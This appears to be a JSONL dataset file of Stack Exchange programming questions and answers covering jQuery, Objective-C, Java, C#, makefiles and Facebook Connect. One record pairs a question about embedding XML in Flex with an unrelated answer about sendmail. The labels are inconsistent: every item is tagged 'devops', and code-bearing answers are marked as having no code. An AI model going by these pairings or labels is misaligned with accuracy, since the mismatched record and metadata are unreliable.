{"id": "hf_bbd1d63feccb", "question": "<p>I feel that it should be something very simple and obvious but just stuck on this for the last half an hour and can't move on.</p>\n\n<p>All I need is to split an array of elements into N groups based on element index.</p>\n\n<p>For example we have an array of 30 elements [e1,e2,...e30], that has to be divided into N=3 groups like this:</p>\n\n<pre><code>group1: [e1, ..., e10]\ngroup2: [e11, ..., e20]\ngroup3: [e21, ..., e30]\n</code></pre>\n\n<p>I came up with nasty mess like this for N=3 (pseudo language, I left multiplication on 0 and 1 just for clarification):</p>\n\n<pre><code>for(i=0;i&lt;array_size;i++) {\n   if(i&gt;=0*(array_size/3) &amp;&amp; i&lt;1*(array_size/3) {\n      print \"group1\";\n   } else if(i&gt;=1*(array_size/3) &amp;&amp; i&lt;2*(array_size/3) {\n      print \"group2\";\n   } else if(i&gt;=2*(array_size/3) &amp;&amp; i&lt;3*(array_size/3)\n      print \"group3\";\n   }\n}\n</code></pre>\n\n<p>But what would be the proper general solution?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "```\n```\nconst int g = 3;                      // number of groups\n const int n = (array_size + g - 1)/g; // elements per group\n\n for (i=0,j=1; i<array_size; ++i) {\n    if (i > j*n)\n        ++j;\n     printf(\"Group %d\\n\", j);\n }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.473060"}
{"id": "hf_d79c564caa6b", "question": "<p>When editing an XML file in IntelliJ IDEA, if the document references a schema, IDEA will fetch the schema and use the information for auto-complete.  It knows which tags are valid in which contexts, so when you hit CTRL-space, it suggests only those tags.  It also highlights any tags that are invalid according to the schema.</p>\n\n<p>Does anybody know of an extension for Vim that provides similar functionality?</p>\n", "question_body": "", "answer": "The closest thing that I've seen for Vim is the\nXML Completion\nscript.\nIt contains XML definition files for DocBook 4.[234], XSL FO 1.0, XSLT 1.0, Relax NG 1.0, XML Schemas 1.0, SVG 1.1, XHTML 1.1, XInclude 1.0 and OpenOffice 1.0 XML format.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.579618"}
{"id": "hf_2f569fce3238", "question": "<p>I noticed methods marked optional in several protocols defined in the iPhone SDK, such as the <code>UIActionSheetDelegate</code> protocol for example.</p>\n\n<p>How can I define a protocol of my own, and set a few of the methods as optional?</p>\n", "question_body": "", "answer": "Use the\n```\n@optional\n```\nkeyword before your method declaration to make it optional. Simple as that!\n```\n```\n// myProtocol.h\n@protocol myProtocol\n- (void)myMandatoryMethod:(id)someArgument;\n@optional\n- (void)myOptionalMethod:(id)someArgument;\n@end\n```\n```\n```\n```\n// myClass.m\n@interface myClass : someSuperClass <myProtocol>\n    //...\n@end\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.651556"}
{"id": "hf_313e79b19499", "question": "<p>It is to my understanding that one should use a forward-class declaration in the event ClassA needs to include a ClassB header, and ClassB needs to include a ClassA header to avoid any circular inclusions. I also understand that an <code>#import</code> is a simple <code>ifndef</code> so that an include only happens once.</p>\n\n<p>My inquiry is this: When does one use <code>#import</code> and when does one use <code>@class</code>? Sometimes if I use a <code>@class</code> declaration, I see a common compiler warning such as the following:</p>\n\n<blockquote>\n  <p><code>warning: receiver 'FooController' is a forward class and corresponding @interface may not exist.</code></p>\n</blockquote>\n\n<p>Would really love to understand this, versus just removing the <code>@class</code> forward-declaration and throwing an <code>#import</code> in to silence the warnings the compiler is giving me.</p>\n", "question_body": "", "answer": "Use a forward declaration in the header file if needed, and\n```\n#import\n```\nthe header files for any classes you're using in the implementation. In other words, you always\n```\n#import\n```\nthe files you're using in your implementation, and if you need to reference a class in your header file use a forward declaration as well.\nThe\nexception\nto this is that you should\n```\n#import\n```\na class or formal protocol you're inheriting from in your header file (in which case you wouldn't need to import it in the implementation).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.731694"}
{"id": "hf_20363ef2fd95", "question": "<p>This question intends to provide a list of solutions to common pitfalls, \"gotcha's\", or design issues when developing WPF applications. This can also include proper design-patterns as long as there is an explanation as to why it works best. Responses should be voted up or down based on how common the type of issue is. Here are the rules:</p>\n\n<ul>\n<li>One response per post. This will clearly give the most common issues the highest ranking.</li>\n<li>It would be best to provide the link to the a related post or solution already living somewhere in SO land.</li>\n</ul>\n", "question_body": "", "answer": "Problem\n: The major issue I have seen so far is that people start coding in WPF with the winform UI model in mind.\nSolution\n:\nWPF is not WinForms/MFC/Win32\nSo Forget all the UI side assumptions and norms you have used and learned while developing Windows based UI for last 20+ years.\nIt is very important to understand the core ideas behind this platform, This link-\nMajor UI Development Breakthroughs in the new WPF platform\nwill give an in depth view of WPF. Which lists out the following points. The highlighted ones are my favorite features of this platform.\nAdvanced Graphics\nDrawing Object Model\nRich Application Text\nAdaptable UI Layout\nFlexible Content Model\nLookless Controls\nData-Driven UI\nConsistent Styles\nTriggers\nDeclarative Programming", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.789008"}
{"id": "hf_18a99268f920", "question": "<p>In jQuery, how do you select the <code>&lt;a&gt;</code> which href is pointing to the current URL</p>\n\n<p>For example:<br>\nURL = <a href=\"http://server/dir/script.aspx?id=1\" rel=\"nofollow noreferrer\">http://server/dir/script.aspx?id=1</a></p>\n\n<p>I want to select this <code>&lt;a&gt;</code><br>\n<code>&lt;a href=\"/dir/script.aspx\"&gt;...&lt;/a&gt;</code></p>\n\n<p>I tried this but it doesn't work:</p>\n\n<pre><code>var url = window.location.href;\n$('#ulTopMenu a[\"'+url+'\"*=href]').addClass(\"selected\");\n</code></pre>\n\n<p>Probably wrong syntax. Anyone know the right way of doing it?</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "I do not know the answer to your question but is that selector syntax valid?\n```\n```\n'#ulTopMenu a[\"http://www.foo.com\"*=href]'\n```\n```\nI'd imagine if such a thing is possible it'd be written as\n```\n```\n'#ulTopMenu a[href*=\"http://www.foo.com\"]'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.846337"}
{"id": "hf_b72181249719", "question": "<p>I'm using Parsley IoC in my current Flex project. So I'd like to embed the container configuration XML onto the result SWF. </p>\n\n<p>How could I load embedded XML file into action script XML object?</p>\n", "question_body": "", "answer": "I think the problem is that sendmail (your process) is talking to the local sendmail daemon.   The local sendmail daemon thinks that because it is website.com, it should know how to deliver the email.  Unfortunately, the actual address in the to field does not exist on the web server and thus it dumps it in the \"catchall\" mail box.  You should talk to your ISP and have them update their sendmail configuration so that mail addressed to ...@website.com gets forward to the mail exchanger instead of being handled locally.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.880427"}
{"id": "hf_3ea6ea26b03f", "question": "<p>Given an array of items, each of which has a <code>value</code> and <code>cost</code>, <strong>what's the best algorithm determine the items required to reach a minimum value at the minimum cost?</strong> eg:</p>\n\n<pre><code>Item: Value -&gt; Cost\n-------------------\nA     20   -&gt; 11\nB     7    -&gt; 5\nC     1    -&gt; 2\n\nMinValue = 30\nnaive solution: A + B + C + C + C. Value: 30, Cost 22\nbest option: A + B + B.            Value: 34, Cost 21\n</code></pre>\n\n<p>Note that the overall value:cost ratio at the end is irrelevant (<code>A + A</code> would give you the best value for money, but <code>A + B + B</code> is a cheaper option which hits the minimum value).</p>\n", "question_body": "", "answer": "This is the knapsack problem. (That is, the decision version of this problem is the same as the decision version of the knapsack problem, although the optimization version of the knapsack problem is usually stated differently.) It is NP-hard (which means no algorithm is known that is polynomial in the \"size\" -- number of bits -- in the input). But if your numbers are small (the largest \"value\" in the input, say; the costs don't matter), then there is a simple dynamic programming solution.\nLet best[v] be the minimum cost to get a value of (exactly) v. Then you can calculate the values best[] for all v, by (initializing all best[v] to infinity and):\n```\n```\nbest[0] = 0\nbest[v] = min_(items i){cost[i] + best[v-value[i]]}\n```\n```\nThen look at best[v] for values upto the minimum you want plus the largest value; the smallest of those will give you the cost.\nIf you want the actual items (and not just the minimum cost), you can either maintain some extra data, or just look through the array of best[]s and infer from it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.903696"}
{"id": "hf_94a537b375d6", "question": "<p>I have a database of companies. My application receives data that references a company by name, but the name may not exactly match the value in the database. I need to match the incoming data to the company it refers to.</p>\n\n<p>For instance, my database might contain a company with name \"A. B. Widgets &amp; Co Ltd.\" while my incoming data might reference \"AB Widgets Limited\", \"A.B. Widgets and Co\", or \"A B Widgets\".</p>\n\n<p>Some words in the company name (A B Widgets) are more important for matching than others (Co, Ltd, Inc, etc). It's important to avoid false matches.</p>\n\n<p>The number of companies is small enough that I can maintain a map of their names in memory, ie. I have the option of using Java rather than SQL to find the right name.</p>\n\n<p>How would you do this in Java?</p>\n", "question_body": "", "answer": "Your database may suport the use of Regular Expressions (regex) - see below for some tutorials in Java - here's the link to the MySQL documentation (as an example):\nhttp://dev.mysql.com/doc/refman/5.0/en/regexp.html#operator_regexp\nYou would probably want to store in the database a fairly complex regular express statement for each company that encompassed the variations in spelling that you might anticipate - or the sub-elements of the company name that you would like to weight as being significant.\nYou can also use the regex library in Java\nJDK 1.4.2\nhttp://java.sun.com/j2se/1.4.2/docs/api/java/util/regex/Pattern.html\nJDK 1.5.0\nhttp://java.sun.com/j2se/1.5.0/docs/api/java/util/regex/Matcher.html\nUsing Regular Expressions in Java\nhttp://www.regular-expressions.info/java.html\nThe Java Regex API Explained\nhttp://www.sitepoint.com/article/java-regex-api-explained/\nYou might also want to see if your database supports Soundex capabilities (for example, see the following link to MySQL)\nhttp://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_soundex", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.926688"}
{"id": "hf_2557e8211d02", "question": "<p>I've always been one to simply use:</p>\n<pre><code>List&lt;String&gt; names = new ArrayList&lt;&gt;();\n</code></pre>\n<p>I use the interface as the type name for <em>portability</em>, so that when I ask questions such as this, I can rework my code.</p>\n<p>When should <a href=\"https://docs.oracle.com/javase/9/docs/api/java/util/LinkedList.html\" rel=\"noreferrer\"><code>LinkedList</code></a> be used over <a href=\"https://docs.oracle.com/javase/9/docs/api/java/util/ArrayList.html\" rel=\"noreferrer\"><code>ArrayList</code></a> and vice-versa?</p>\n", "question_body": "", "answer": "It's an efficiency question.\n```\nLinkedList\n```\nis fast for adding and deleting elements, but slow to access a specific element.\n```\nArrayList\n```\nis fast for accessing a specific element but can be slow to add to either end, and especially slow to delete in the middle.\nArray vs ArrayList vs LinkedList vs Vector\ngoes more in depth, as does\nLinked List\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.973790"}
{"id": "hf_d608328bb251", "question": "<p>I’ve built a custom Maven2 plug-in using Ant. I would like to call another maven plug-in in particular the Cargo Maven2 plug-in immediately after the custom Ant plug-in successfully completes. However, I do not want to attach the Cargo plug-in to another goal or phase. Is there a way to have them run consecutively without having to write a batch script? Is there away to have the Custom Ant plug-in call out to the Cargo plug-in?</p>\n", "question_body": "", "answer": "The Ant script that the maven-ant-plugin executes is not really aware of Maven as such; this plugin is designed for backwards compatibility with custom Ant tasks. I cannot think of a clean way of doing what you want though there may be some kind of hack that allows you to do it.\nIt should also be possible to execute a second instance of Maven from inside Ant, which runs purely the Cargo goal, but in that case you might encounter problems with locked files and the like. The way to do it would be to just use an  tag in your Ant script and call the \"mvn\" executable with the appropriate goals as arguments.\nThe cleanest way is to simply bind the Cargo goal to a phase of the build, and have that run after Ant is finished. I do not see any disadvantage to that approach - you haven't really stated any specific reasons why you want to avoid it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.123184"}
{"id": "hf_d0ad640f5a13", "question": "<p>I have an enumeration of delivery status codes.  And when I save delivery data to the database they are stored with a foreign key to a table containing the same data (i.e. the same delivery codes)</p>\n\n<p>What is the best strategy for keeping an enumeration in synch with data in a database?</p>\n\n<p>Do you just remember to add to the enumeration when a new code is added to the database?</p>\n\n<p>Or load the data into a dictionary when the application starts? And use the dictionary instead of an enumeration? Though this means that I don't have a strongly typed representation of the data - which I definitely want.</p>\n\n<p>Or something else?</p>\n\n<p>The data is not very volatile but new codes do get added once every blue moon</p>\n\n<p>Would appreciate any suggestions.</p>\n\n<p>thanks</p>\n", "question_body": "", "answer": "When I use a enumeration in the code, I usually store the formatted name as a varchar in the database rather than keep a table of the enumeration values in the database.  I realize that  this is not as normalized as one might like, but I believe it is better than trying to keep the database and my enumeration synched.  All that is needed is to format on insert/update and parse on select to reconstitute the value back into the enumeration.\nI only do this when I believe that the enumeration is going to be fixed -- although, I too have made infrequent updates.  If I believe that it is likely that the data will be regularly updated, I won't use an enumeration and will have a separate table in the database with foreign key references.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.147270"}
{"id": "hf_bee612d55bae", "question": "<p>I want to do this, but haven't figured it quite out yet...</p>\n\n<pre><code>    $(document).ready(function() {\n        $(\"a.whateverclass\").click(function() {\n            $(\"div.whateverclass\").show();\n            return false;\n        });\n</code></pre>\n\n<p>Basically when a link with a certain class is clicked all divs with that class are shown. The classes can be any class. And I won't know the name(s) of the classes in the application.js file so I need to match equal classes.</p>\n", "question_body": "", "answer": "```\n```\n$(\"a\").click(function() {\n        $(\"div.\" + $(this).attr('class')).show();\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.170487"}
{"id": "hf_d8e7752a669d", "question": "<p>How to query to get count of matching words in a field, specifically in MySQL.\nsimply i need to get how many times a \"search terms\"appear in the field value.</p>\n\n<p>for example, the value is \"one two one onetwo\" so when i search for word \"one\" it should give me 3</p>\n\n<p>is it possible? because currently i just extract the value out of database and do the counting with server side language.</p>\n\n<p>Thank you</p>\n", "question_body": "", "answer": "Are you looking to find a query that, given a list of words, returns the number of matching words in a database field?\neg:\nDatabase table has\n```\nID    Terms\n1     cat, dog, bird, horse\n```\nthen running a check on the words \"cat, horse\" returns 2?\nIf so, I suggest you do your checking\noutside\nof SQL, in whatever language you're doing the rest of your processing in. SQL isn't designed for this level of processing.\nYou could\npossibly\nuse a stored procedure to cycle through what words you're needing to check, but I doubt it would be efficient or highly effective.\nOf course, if I'm misinterpreting your request, I could be all wrong =)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.192993"}
{"id": "hf_01aef1f202bf", "question": "<p>One of the core fields present on several of my app's major database tables needs to be changed from varchar(5) to varchar(8). The list of stored procedures that depend on these tables is extremely long, not to mention the changes that would have to be made in my Data Access Layer (ASP.NET 2.0 DataSet with TableAdapters). </p>\n\n<p>Is there any way to automatically (and <em>safely</em>) change the Type of the all-important field and have the changes propagate to all the stored procedures / Data Access Layer calls that depend on it?</p>\n\n<p>I'm using a SQL Server 2005 database.</p>\n", "question_body": "", "answer": "You might be interested in this\nessay\nby Scott Ambler on Database Refactoring.  I think he also has a book on it.  The basic idea, I believe, will be to introduce a new column with the proper width, copy existing data to the new column, implement a trigger to synchronize any new inserts/updates, migrate your SP/DAL to use the new column, then remove the old column when you are completely done.  All new code uses the new column, obviously.  I don't know of any automated way to do the updates to your SP/DAL, unfortunately.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.227934"}
{"id": "hf_1c55087cff9b", "question": "<p>I'm getting the following error when trying to compile C++ projects using intel compiler version 10.0.025 on vista business edition (sp1) in vs2008:</p>\n\n<pre><code>unable to obtain mapped memory (see pch_diag.txt)\n</code></pre>\n\n<p>There is no such file as pch_diag, so that's a bit disheartening.  </p>\n\n<p>If I try to just use the microsoft compiler, all of my calls to intel's integrated performance primitives (ipp) are met with an access error into the program files directory where the ipp is stored.</p>\n\n<p>Any ideas?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "It sounds like you are running the compiler as a standard user (good for you!), and the errors you get with the Microsoft compiler seem to point towards a permissions problem. You should use Windows Explorer to check the security properties for the directory you mentioned, if you haven't already. If the problem isn't apparent from the security properties page, here are some tools that may be useful for debugging permissions problems:\nLUA Buglight\n: a tool for finding the causes of \"LUA\" (Limited User Access) bugs\nSysinternals Process Monitor\n: a tool for monitoring filesystem and registry access in real-time. You can filter out all processes other than the compiler, then look for \"ACCESS DENIED\" errors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.262540"}
{"id": "hf_225e76bf988c", "question": "<p>Using jQuery, <strong>how do you match elements that are prior to the current element in the DOM tree?</strong> Using <code>prevAll()</code> only matches previous siblings.</p>\n\n<p>eg:</p>\n\n<pre><code>&lt;table&gt;\n    &lt;tr&gt;\n        &lt;td class=\"findme\"&gt;find this one&lt;/td&gt;\n    &lt;/tr&gt;\n    &lt;tr&gt;\n        &lt;td&gt;&lt;a href=\"#\" class=\"myLinks\"&gt;find the previous .findme&lt;/a&gt;&lt;/td&gt;\n    &lt;/tr&gt;\n    &lt;tr&gt;\n        &lt;td class=\"findme\"&gt;don't find this one&lt;/td&gt;\n    &lt;/tr&gt;\n&lt;/table&gt;\n</code></pre>\n\n<p>In my specific case, I'll be searching for the <em>first</em> <code>.findme</code> element prior to the link clicked.</p>\n", "question_body": "", "answer": "Presumably you are doing this inside an onclick handler so you have access to the element that was clicked.  What I would do is do a prevAll to see if it is at the same level.  If not, then I would do a parent().prevAll() to get the previous siblings of the parent element, then iterate through those backwards, checking their contents for the desired element.  Continue going up the DOM tree until you find what you want or hit the root of the DOM.  This a general algorithm.\nIf you know that it is inside a table, then you can simply get the row containing the element clicked and iterate backwards through the rows of the table from that row until you find one that contains the element desired.\nI don't think there is a way to do it in one (chained) statement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.346344"}
{"id": "hf_605b95040b9c", "question": "<p>How would you get a reference to an executing class several stack frames above the current one?  For example, if you have:</p>\n\n<pre><code>Class a { \n    foo() {\n        new b().bar();\n    }\n}\n\nClass b {\n    bar() {\n        ...\n    }\n}\n</code></pre>\n\n<p>\nIs there a way to get the value that would be retrieved by using 'this' in foo() while the thread is executing bar()?</p>\n", "question_body": "", "answer": "```\nthis\n```\nis always a reference to the current instance of the object. So any usage of\n```\nthis\n```\nin\n```\nfoo()\n```\nwill return an instance of Class A.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.369932"}
{"id": "hf_87041b05c43e", "question": "<p>I'm trying to consolidate some build information by using a common makefile. My problem is that I want to use that makefile from different subdirectory levels, which makes the working directory value (<code>pwd</code>) unpredictable. For example:</p>\n\n<pre><code># Makefile.common\nTOP := $(shell pwd)\nCOMPONENT_DIR := $(TOP)/component\nCOMPONENT_INC := $(COMPONENT_DIR)/include\nCOMPONENT_LIB := $(COMPONENT_DIR)/libcomponent.a\n</code></pre>\n\n<p>If I include <code>Makefile.common</code> from a subdirectory, like so, the <code>$(TOP)</code> directory is incorrect and everything else follows suit:</p>\n\n<pre><code># other_component/Makefile\ninclude ../Makefile.common\n# $(COMPONENT_LIB) is incorrectly other_component/component\n</code></pre>\n\n<p>What's the best way to get <code>Makefile.common</code> to use <em>its own</em> directory path instead of the more fickle <code>pwd</code>?</p>\n", "question_body": "", "answer": "Have you tried doing:\n```\n```\n# Makefile.common\nTOP ?= $(shell pwd)\nCOMPONENT_DIR := $(TOP)/component\nCOMPONENT_INC := $(COMPONENT_DIR)/include\nCOMPONENT_LIB := $(COMPONENT_DIR)/libcomponent.a\n\n# other_component/Makefile\nTOP ?= ..\ninclude ../Makefile.common\n```\n```\nUsing the ?= construct will keep TOP from being redefined if it is already set.  You can set it to the appropriate value based on where you are in the tree when you invoke make.  I confess it's been awhile since I've used GNU make so this may not work or may need some tweaks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.415911"}
{"id": "hf_98fd25180eae", "question": "<p>Is there a particular scenario where a <code>WriteOnly</code> property makes more sense then a method? The method approach feels much more natural to me. </p>\n\n<p>What is the right approach?</p>\n\n<p><strong>Using Properties</strong>:</p>\n\n<pre class=\"lang-vb prettyprint-override\"><code>Public WriteOnly Property MyProperty As String\n   Set(ByVal value as String)\n      m_myField = value\n   End Set\nEnd Property\n</code></pre>\n\n<pre class=\"lang-cs prettyprint-override\"><code>public string MyProperty\n{\n   set{ m_myField = value;}\n}\n</code></pre>\n\n<p><strong>Using Methods</strong>:</p>\n\n<pre class=\"lang-vb prettyprint-override\"><code>Public Sub SetMyProperty(ByVal value as String)\n   m_myField = value\nEnd Sub\n</code></pre>\n\n<pre class=\"lang-cs prettyprint-override\"><code>public void SetMyProperty(string value)\n{\n   m_myField = value;\n}\n</code></pre>\n\n<p><strong>EDIT</strong>\nJust to clarify I am referring to \"WriteOnly\" properties.</p>\n", "question_body": "", "answer": "I think a property indicates something that can be read-only or read/write. The behaviour of a write-only property is not obvious so I avoid creating them.\nAs an example, setting a list of values in a drop-down on a view and accessing the selected item:\n```\n```\npublic interface IWidgetSelector\n{\n  void SetAvailableWidgets(string[] widgets);\n\n  string SelectedWidget { get; set; }\n}\n```\n```\nMakes more sense than:\n```\n```\npublic interface IWidgetSelector\n{\n  string[] AvailableWidgets { set; }\n\n  string SelectedWidget { get; set; }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.450077"}
{"id": "hf_44745f1d0cd7", "question": "<p>Given my new understanding of the power of &quot;includes&quot; with PHP, it is my guess that ALL of my pages on my site will be <code>.php</code> extension.</p>\n<p>Would this be considered strange?</p>\n<p>I used to think that most pages would be <code>.htm</code> or <code>.html</code>, but in looking around the net, I am noticing that there really isn't any &quot;standard&quot;.</p>\n<p>I don't really think I have a choice, if I want to call my menus from a php file. It is just going to be that way, far as I can see... so just bouncing off you all to get a feel for what &quot;real programmers&quot; feel about such issues.</p>\n", "question_body": "", "answer": "It doesn't matter what your URLs end with,\n```\n.php\n```\nis fine, and fairly common.  The only thing people care about these days when it comes to URLs is making them pretty for Search Engine Optimisation, but that's a whole new question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.472315"}
{"id": "hf_441cd1d44c2e", "question": "<p>I'm at step 8 of the authentication overview found here: <a href=\"http://wiki.developers.facebook.com/index.php/How_Connect_Authentication_Works\" rel=\"noreferrer\">http://wiki.developers.facebook.com/index.php/How_Connect_Authentication_Works</a></p>\n\n<p>In particular, the user has logged into facebook via Facebook Connect and their web session has been created.  How do I use the facebook developer toolkit v2.0 (from clarity) to retrieve information about the user.  For example, I'd like to get the user's first name and last name.</p>\n\n<p>Examples in the documentation are geared towards facebook applications, which this is not.</p>\n\n<h2>Update</h2>\n\n<p>Facebook recently released the Graph API. Unless you are maintaining an application that is using Facebook Connect, you should check out the latest API:   <a href=\"http://developers.facebook.com/docs/\" rel=\"noreferrer\">http://developers.facebook.com/docs/</a></p>\n", "question_body": "", "answer": "Facebook Connect actually isn't too difficult, there's just a lack of documentation.\nPut the necessary javascript from here:\nhttp://tinyurl.com/5527og\nValidate the cookies match the signature provided by facebook to prevent hacking, see:\nhttp://tinyurl.com/57ry3s\nfor an explanation on how to get started\nCreate an api object (Facebook.API.FacebookAPI)\nOn the api object, set the application key and secret Facebook provides you when you create your app.\nSet\n```\napi.SessionKey\n```\nand\n```\napi.UserId\n```\nfrom the cookies created for you from facebook connect.\nOnce that is done, you can start making calls to facebook:\n```\n```\nFacebook.Entity.User user = api.GetUserInfo();   //will get you started with the authenticated person\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.529376"}
{"id": "hf_17cde6c3748f", "question": "<p>When I create utility classes I typically create a class that has a private constructor and exposes all of it's methods and properties as static. What's the best approach for this? What's the difference between the way I do or creating a static class?</p>\n", "question_body": "", "answer": "Static classes are automatically sealed, so people can't inherit and override their behavior.\nThat is the only real difference (unless there is something special in the IL)\nSo if you use a static class, you save yourself the trouble of making the constructor private, and declaring the class sealed.\nI would add, that defining a class as static, is \"self-documenting\" code. Users of your library will know that this class should not be instantiated, and only has static values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.552292"}
{"id": "hf_238f35b369bb", "question": "<p>I want to generate a list in C#. I am missing python's list comprehensions. Is there a C# way to create collections on the fly like list comprehensions or generator expressions do in python?</p>\n", "question_body": "", "answer": "If you are using C# 3.0 (VS2008) then LINQ to Objects can do very similar things:\n```\n```\nList<Foo> fooList = new List<Foo>();\nIEnumerable<Foo> extract = from foo in fooList where foo.Bar > 10 select Foo.Name.ToUpper();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.575425"}
